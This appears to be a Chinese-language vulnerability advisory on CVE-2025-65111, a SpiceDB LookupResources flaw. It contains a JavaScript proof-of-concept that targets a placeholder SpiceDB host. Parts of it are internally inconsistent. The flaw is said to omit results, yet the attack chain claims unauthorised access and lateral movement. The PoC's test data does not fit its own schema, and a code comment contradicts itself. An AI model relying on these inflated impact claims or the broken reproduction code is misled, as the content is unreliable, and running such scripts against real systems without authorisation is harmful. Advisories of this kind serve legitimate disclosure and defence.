CVE-2025-65111 SpiceDB LookupResources权限检查逻辑缺陷

漏洞信息

漏洞编号

CVE-2025-65111

漏洞类型

权限检查绕过/逻辑缺陷

CVSS评分

5.3 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

SpiceDB

漏洞概述

CVE-2025-65111是Authzed SpiceDB中的一个中危安全漏洞，CVSS评分5.3。该漏洞存在于SpiceDB的LookupResources API中，当schema定义包含特定结构的权限时，系统可能返回不完整的权限检查结果。具体来说，当一个permission使用union(+)定义，并且该union在两侧引用相同的relation，但其中一侧通过箭头(→)指向不同的permission时，LookupResources可能遗漏某些应该返回的资源结果。这个问题仅影响LookupResources API的行为，而其他权限检查API（如CheckPermission）能够正确计算权限关系。攻击者无需认证即可利用此漏洞，在网络可达的情况下可能导致未授权访问被错误授予或拒绝。SpiceDB是一个开源数据库系统，广泛用于构建零信任访问控制和基于角色的权限管理，该漏洞可能影响依赖其进行安全关键应用权限管理的系统。

技术细节

SpiceDB权限检查逻辑缺陷的技术分析：当SpiceDB处理包含复杂relation引用的schema时，特别是涉及union操作符(+)的场景，系统在解析和计算LookupResources时存在解析错误。具体问题场景为：假设schema中定义了relation A和permission P，其中permission P = relation_A + relation_A→permission_B。这种结构会导致SpiceDB的权限遍历算法在处理箭头引用的第二层权限时出现边界条件错误。LookupResources在执行递归遍历时，可能在处理union的右侧分支时跳过某些有效的资源路径，而只返回部分匹配结果。漏洞的根本原因在于权限图的遍历逻辑没有正确处理union操作符两侧相同的relation但具有不同箭头路径的情况。这使得攻击者可能通过构造特定的资源查询，绕过预期的权限检查，获取本不应该访问的资源列表。攻击者需要了解目标系统的schema结构，并构造相应的API请求来触发该缺陷。修复版本1.47.1改进了权限图的遍历算法，确保在所有分支上正确执行资源查找。

攻击链分析

STEP 1

步骤1

侦查阶段：攻击者识别目标系统是否使用SpiceDB进行权限管理，并通过分析公开的schema定义或API文档了解权限结构

STEP 2

步骤2

构造恶意查询：攻击者构造针对LookupResources API的请求，针对包含union(+)和箭头(→)引用的复杂权限定义进行查询

STEP 3

步骤3

触发漏洞：发送精心构造的LookupResources请求，由于权限遍历算法缺陷，系统返回不完整的资源列表

STEP 4

步骤4

权限绕过：利用返回的不完整结果，攻击者可能获取本不应该看到的资源列表，或在某些情况下被错误地授予访问权限

STEP 5

步骤5

横向移动：基于获取的未授权资源访问信息，进一步探索系统功能或敏感数据

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// CVE-2025-65111 SpiceDB LookupResources Bypass PoC
// This PoC demonstrates the vulnerability in SpiceDB < 1.47.1
// where LookupResources may return incomplete results with specific schema patterns

const spicedb = require('@authzed/spicedb');

// Connect to vulnerable SpiceDB instance
const client = spicedb.createClient({
  endpoint: 'http://target-spicedb:50051',
  token: 'insecure-token' // or use TLS credentials
});

// Example schema that triggers the vulnerability:
// definition example/user {}
// definition example/resource {
//   relation viewer: example/user
//   relation editor: example/user
//   permission view = viewer + editor->viewer
// }

async function exploit() {
  try {
    // Step 1: Create test data
    await client.write({
      updates: [
        { operation: 'UPSERT', relation: 'example/resource:doc1#viewer@example/user:alice' },
        { operation: 'UPSERT', relation: 'example/resource:doc1#editor@example/user:bob' }
      ]
    });
    
    // Step 2: Query LookupResources (vulnerable API)
    const lookupResult = await client.LookupResources({
      resourceObjectType: 'example/resource',
      permission: 'view',
      subject: {
        object: 'example/user',
        objectId: 'alice',
        relation: '...'
      }
    });
    
    console.log('LookupResources returned:', lookupResult.resources);
    // Expected: ['example/resource:doc1']
    // Actual (vulnerable): May return empty or incomplete list
    
    // Step 3: Compare with CheckPermission (correct behavior)
    const checkResult = await client.CheckPermission({
      resource: { objectType: 'example/resource', objectId: 'doc1' },
      permission: 'view',
      subject: { objectType: 'example/user', objectId: 'alice' }
    });
    
    console.log('CheckPermission returned:', checkResult.permissionship);
    // Should return HAS_PERMISSION if vulnerability is present
    // but LookupResources may not list doc1
    
  } catch (error) {
    console.error('Exploitation failed:', error.message);
  }
}

exploit();

影响范围

SpiceDB < 1.47.1

防御指南

临时缓解措施

作为临时缓解措施，可采取以下方法：(1) 在业务逻辑层实现额外的权限校验，使用CheckPermission替代LookupResources进行关键决策；(2) 简化schema定义，避免使用同一relation在union两侧且带有不同箭头路径的复杂结构；(3) 限制对LookupResources API的访问，对调用方进行严格的身份验证和授权；(4) 部署Web应用防火墙或API网关，对异常查询模式进行检测和阻断；(5) 实施最小权限原则，确保即使LookupResources返回不完整结果，攻击者也无法获取高价值资源的访问权限。